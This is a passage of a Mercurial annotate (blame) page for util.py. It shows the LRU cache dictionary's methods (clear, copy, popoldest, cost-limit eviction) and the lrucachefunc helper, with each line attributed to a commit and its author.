Gregory Szorc <gregory.szorc@gmail.com>
parents:
39570
diff
changeset
|
1336 return self.__getitem__(k) |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1337 except KeyError: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1338 return default |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1339 |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
1340 def clear(self): |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1341 n = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1342 while n.key is not _notset: |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1343 self.totalcost -= n.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1344 n.markempty() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1345 n = n.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1346 |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
1347 self._cache.clear() |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1348 |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1349 def copy(self, capacity=None, maxcost=0): |
39565
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1350 """Create a new cache as a copy of the current one. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1351 |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1352 By default, the new cache has the same capacity as the existing one. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1353 But, the cache capacity can be changed as part of performing the |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1354 copy. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1355 |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1356 Items in the copy have an insertion/access order matching this |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1357 instance. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1358 """ |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1359 |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1360 capacity = capacity or self.capacity |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1361 maxcost = maxcost or self.maxcost |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1362 result = lrucachedict(capacity, maxcost=maxcost) |
39563
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1363 |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1364 # We copy entries by iterating in oldest-to-newest order so the copy |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1365 # has the correct ordering. |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1366 |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1367 # Find the first non-empty entry. |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1368 n = self._head.prev |
39563
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1369 while n.key is _notset and n is not self._head: |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1370 n = n.prev |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1371 |
39565
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1372 # We could potentially skip the first N items when decreasing capacity. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1373 # But let's keep it simple unless it is a performance problem. |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1374 for i in range(len(self._cache)): |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1375 result.insert(n.key, n.value, cost=n.cost) |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1376 n = n.prev |
39563
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1377 |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1378 return result |
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1379 |
39566
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1380 def popoldest(self): |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1381 """Remove the oldest item from the cache. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1382 |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1383 Returns the (key, value) describing the removed cache entry. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1384 """ |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1385 if not self._cache: |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1386 return |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1387 |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1388 # Walk the linked list backwards starting at tail node until we hit |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1389 # a non-empty node. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1390 n = self._head.prev |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1391 while n.key is _notset: |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1392 n = n.prev |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1393 |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1394 key, value = n.key, n.value |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1395 |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1396 # And remove it from the cache and mark it as empty. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1397 del self._cache[n.key] |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1398 self.totalcost -= n.cost |
39566
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1399 n.markempty() |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1400 |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1401 return key, value |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1402 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1403 def _movetohead(self, node): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1404 """Mark a node as the newest, making it the new head. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1405 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1406 When a node is accessed, it becomes the freshest entry in the LRU |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1407 list, which is denoted by self._head. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1408 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1409 Visually, let's make ``N`` the new head node (* denotes head): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1410 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1411 previous/oldest <-> head <-> next/next newest |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1412 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1413 ----<->--- A* ---<->----- |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1414 | | |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1415 E <-> D <-> N <-> C <-> B |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1416 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1417 To: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1418 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1419 ----<->--- N* ---<->----- |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1420 | | |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1421 E <-> D <-> C <-> B <-> A |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1422 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1423 This requires the following moves: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1424 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1425 C.next = D (node.prev.next = node.next) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1426 D.prev = C (node.next.prev = node.prev) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1427 E.next = N (head.prev.next = node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1428 N.prev = E (node.prev = head.prev) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1429 N.next = A (node.next = head) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1430 A.prev = N (head.prev = node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1431 """ |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1432 head = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1433 # C.next = D |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1434 node.prev.next = node.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1435 # D.prev = C |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1436 node.next.prev = node.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1437 # N.prev = E |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1438 node.prev = head.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1439 # N.next = A |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1440 # It is tempting to do just "head" here, however if node is |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1441 # adjacent to head, this will do bad things. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1442 node.next = head.prev.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1443 # E.next = N |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1444 node.next.prev = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1445 # A.prev = N |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1446 node.prev.next = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1447 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1448 self._head = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1449 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1450 def _addcapacity(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1451 """Add a node to the circular linked list. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1452 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1453 The new node is inserted before the head node. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1454 """ |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1455 head = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1456 node = _lrucachenode() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1457 head.prev.next = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1458 node.prev = head.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1459 node.next = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1460 head.prev = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1461 self._size += 1 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1462 return node |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
1463 |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1464 def _enforcecostlimit(self): |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1465 # This should run after an insertion. It should only be called if total |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1466 # cost limits are being enforced. |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1467 # The most recently inserted node is never evicted. |
39569
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1468 if len(self) <= 1 or self.totalcost <= self.maxcost: |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1469 return |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1470 |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1471 # This is logically equivalent to calling popoldest() until we |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1472 # free up enough cost. We don't do that since popoldest() needs |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1473 # to walk the linked list and doing this in a loop would be |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1474 # quadratic. So we find the first non-empty node and then |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1475 # walk nodes until we free up enough capacity. |
39570
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1476 # |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1477 # If we only removed the minimum number of nodes to free enough |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1478 # cost at insert time, chances are high that the next insert would |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1479 # also require pruning. This would effectively constitute quadratic |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1480 # behavior for insert-heavy workloads. To mitigate this, we set a |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1481 # target cost that is a percentage of the max cost. This will tend |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1482 # to free more nodes when the high water mark is reached, which |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1483 # lowers the chances of needing to prune on the subsequent insert. |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1484 targetcost = int(self.maxcost * 0.75) |
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1485 |
39569
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1486 n = self._head.prev |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1487 while n.key is _notset: |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1488 n = n.prev |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1489 |
39570
f296c0b366c8
util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39569
diff
changeset
|
1490 while len(self) > 1 and self.totalcost > targetcost: |
39569
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1491 del self._cache[n.key] |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1492 self.totalcost -= n.cost |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1493 n.markempty() |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1494 n = n.prev |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1495 |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1496 def lrucachefunc(func): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1497 '''cache most recent results of function calls''' |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1498 cache = {} |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
1499 order = collections.deque() |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1500 if func.__code__.co_argcount == 1: |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1501 def f(arg): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1502 if arg not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1503 if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
1504 del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1505 cache[arg] = func(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1506 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1507 order.remove(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1508 order.append(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1509 return cache[arg] |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1510 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1511 def f(*args): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1512 if args not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1513 if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
1514 del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1515 cache[args] = func(*args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1516 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1517 order.remove(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1518 order.append(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1519 return cache[args] |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1520 |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1521 return f |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1522 |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1523 class propertycache(object): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1524 def __init__(self, func): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1525 self.func = func |
dd8d5be57d65
util: take propertycache from context.py
